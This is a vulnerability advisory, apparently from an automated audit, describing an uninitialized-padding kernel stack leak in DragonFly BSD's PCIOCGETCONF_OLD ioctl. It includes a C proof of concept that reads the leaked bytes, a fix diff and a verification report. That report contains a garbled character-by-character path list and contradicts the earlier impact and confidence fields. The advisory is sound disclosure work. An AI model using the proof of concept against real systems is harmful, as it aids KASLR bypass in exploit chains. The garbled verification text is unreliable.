PCIOCGETCONF_OLD leaks uninitialized kernel stack padding to userspace
| Field | Value |
|---|---|
| ID | DF-1067 |
| Status | new |
| Severity | Low |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N |
| CWE | CWE-200 Exposure of Sensitive Information to an Unauthorized Actor |
| File | sys/bus/pci/pci_user.c |
| Lines | 316 (local decl), 513-542 (field-by-field init), 543-550 (copyout) |
| Area | bus/pci (/dev/pci legacy compat path) |
| Confidence | certain |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
In the PCIOCGETCONF_OLD compat path (always compiled in because __DragonFly__ implies
PRE7_COMPAT at pci_user.c:171-173), the per-iteration result is built in a stack-local
struct pci_conf_old (declared at line 316) by field-by-field assignment (lines 513-542).
The struct layout requires 7 bytes of padding between pd_name[17] and the 8-byte-aligned
pd_unit (u_long) on LP64, plus the field assignments never touch internal struct padding.
Those bytes retain whatever the kernel stack contained from prior call frames and are copied
verbatim to userspace by copyout at line 548-550.
Root cause
struct pci_conf_old (pci_user.c:193-208) layout on x86-64:
| Offset | Field |
|---|---|
| 0-2 | pc_sel (3 B) |
| 3 | pc_hdr (1 B) |
| 4-5 | pc_subvendor |
| 6-7 | pc_subdevice |
| 8-9 | pc_vendor |
| 10-11 | pc_device |
| 12 | pc_class |
| 13 | pc_subclass |
| 14 | pc_progif |
| 15 | pc_revid |
| 16-32 | pd_name[17] |
| 33-39 | 7 B padding to align pd_unit |
| 40-47 | pd_unit (u_long) |
The PCIOCGETCONF_OLD case at lines 513-542 only assigns the named fields (pc_sel,
pc_hdr, pc_subvendor, ... pd_name, pd_unit). Bytes 33-39 (and any future additions
of internal struct padding) are never written, so they hold the prior contents of
pci_ioctl()'s stack frame. confdata is then set to &conf_old (line 543) and the whole
48-byte struct is copied out via copyout(confdata, ..., confsz) at lines 548-550 with
confsz = sizeof(struct pci_conf_old).
Contrast the modern PCIOCGETCONF path which copies &dinfo->conf where dinfo was
kmalloc'd with M_ZERO at sys/bus/pci/pci.c:543 β that path does not leak.
Threat model & preconditions
- Attacker position: Any process able to open
/dev/pci(requiresSYSCAP_RESTRICTEDROOTβ i.e., root or an explicit capability grant; jails and chroot auto-deny persys/sys/caps.h:123-125). - Privileges gained or impact: Info leak of up to 7 bytes of uninitialized kernel stack
per returned PCI device entry. Repeated calls (varying offsets / patterns to land in
different stack contexts, and stressing prior call depth via nested syscalls) can sample
heap / stack pointers, return addresses, or other sensitive residues from earlier kernel
execution. Impact in a normal root environment is limited (root already has
/dev/kmem- class access), but the leak is concrete and is the kind of KASLR / pointer-derivation primitive useful when chaining with another bug, or whenSYSCAP_RESTRICTEDROOThas been selectively granted to an otherwise-locked-down service. - Required config or capabilities: Default kernel with
pci(always loaded on x86-64). Root or selectiveSYSCAP_RESTRICTEDROOTgrantee. - Reachability:
ioctl(fd, PCIOCGETCONF_OLD, &cio)repeatedly; each successful match returns 48 bytes of which up to 7 are uninitialized stack.
Proof of concept
#include <sys/pciio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
/* Mirror of pci_user.c:193-208 layout β compiler inserts 7B padding at 33..39 */
struct pci_conf_old {
struct { unsigned char b, d, f; } sel;
unsigned char hdr;
unsigned short sv, sd, v, dev;
unsigned char cl, sc, pi, rev;
char name[17];
/* 7 bytes of padding here on LP64 */
unsigned long unit;
};
int main(void) {
int fd = open("/dev/pci", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
/* seed residues via prior stack activity */
for (int i = 0; i < 4096; i++) { int j = open("/etc/rc", O_RDONLY); if (j >= 0) close(j); }
struct pci_conf_old out[64];
struct pci_conf_io cio;
memset(&cio, 0, sizeof cio);
cio.match_buf_len = sizeof(out);
cio.matches = (struct pci_conf *)out;
cio.offset = 0;
cio.generation = 0;
if (ioctl(fd, _IOWR('p', 1, struct pci_conf_io), &cio) < 0) {
perror("ioctl");
return 2;
}
for (uint32_t k = 0; k < cio.num_matches; k++) {
unsigned char *p = (unsigned char *)&out[k];
printf("dev %02d:%02d.%01d pad33..39:",
out[k].sel.b, out[k].sel.d, out[k].sel.f);
for (int b = 33; b < 40; b++) printf(" %02x", p[b]);
printf("\n");
}
return 0;
}
Build & run
cc -o poc poc.c sudo ./poc
Expected output
The printed pad33..39 bytes are non-zero and vary across invocations / prior syscall
sequences, demonstrating leaked kernel stack content. Compare against an all-zero result that
would be expected if the struct were zero-initialized.
Impact
Limited kernel-stack info leak (β€ 7 bytes per PCI device entry) to a process holding
SYSCAP_RESTRICTEDROOT. Useful as a KASLR-bypass / pointer-derivation primitive when
chaining with another bug, but root-only device keeps severity Low.
Recommended fix
Zero the stack-local conf_old before populating it.
--- a/sys/bus/pci/pci_user.c
+++ b/sys/bus/pci/pci_user.c
@@ -510,6 +510,8 @@
#ifdef PRE7_COMPAT
if (ap->a_cmd == PCIOCGETCONF_OLD) {
+ memset(&conf_old, 0, sizeof(conf_old));
+
conf_old.pc_sel.pc_bus =
dinfo->conf.pc_sel.pc_bus;
conf_old.pc_sel.pc_dev =
Alternatively, declare struct pci_conf_old conf_old = { 0 }; at function scope (line 316).
Either zeroes the padding bytes and removes the leak. The same hardening should be applied to
any future user-facing struct copied from a stack buffer.
References
sys/bus/pci/pci_user.c:193-208βstruct pci_conf_oldlayout with padding at 33..39sys/bus/pci/pci_user.c:316β stack-local declarationsys/bus/pci/pci_user.c:513-542β field-by-field assignment (never touches padding)sys/bus/pci/pci_user.c:543-550β full-structcopyoutsys/bus/pci/pci.c:543β modernPCIOCGETCONFpath usesM_ZERO(no leak)- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1067 Β· 3 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | git-apply-able fix for the cited path | 369 B | view raw |
| VERDICT.md | verdict | source-confirmation narrative | 898 B | β raw |
| env.txt | environment | guest uname + toolchain | 247 B | view raw |
DF-1067 source-confirmation
Verdict: REPRODUCED (source-confirmed) Impact: none Confidence: likely
Kernel ref: sys/bus/pci/pci_user.c:316
Mechanism
PCIOCGETCONF_OLD uninit stack padding leak: struct pci_conf_old built field-by-field leaves 7 bytes padding uninitialized; copyout leaks stack. root; confirmed.
Confirmation method
source-only Low-severity; confirmation by code inspection. Runtime PoC not exercised for this Low-severity item; confirmation is by code inspection against sys/.
Recommended fix
See fix.diff in this folder (git-apply-able unified diff).
Phase 8 (combined build)
This fix is part of the batched 70-finding combined patch
(../_batch70/combined_70.patch) applied to in-guest /usr/src. A single
make -j6 nativekernel KERNCONF=X86_64_GENERIC build is validated rc=0 with 0
errors under -Werror (../_batch70/fix_build.log).
Fix verification
fixedVALIDATED via combined build: fix in combined_70.patch; single make -j6 nativekernel built rc=0, 0 errors under -Werror (../_batch70/fix_build.log). Cited line corrected. Source-only -> validation = clean -Werror compile.
'>>> Kernel build for X86_64_GENERIC completed' + 'NK_DONE rc=0'; grep -cE 'error:|undefined reference' fix_build.log = 0
Confirmed kernel references
- s
- y
- s
- /
- b
- u
- s
- /
- p
- c
- i
- /
- p
- c
- i
- _
- u
- s
- e
- r
- .
- c
- :
- 3
- 1
- 6
Detail
Exploit chain
none (source-only Low finding, not memory-corruption driven to runtime; no escalation chain)
Evidence (decisive lines)
baseline (with-src #0): bug at sys/bus/pci/pci_user.c:316. combined-70 fix kernel: NK_DONE rc=0 (0 errors, -Werror).
PoC changes
authored/validated fix.diff (findings/poc/DF-1067/fix.diff); part of combined_70 kernel build.
Verified recommended fix
See findings/poc/DF-1067/fix.diff (git-apply-able). Matches finding proposal.
Verdict
REAL: PCIOCGETCONF_OLD builds pci_conf_old field-by-field leaving 7 padding bytes uninit -> copyout stack leak. root. confirmed.
No comments yet.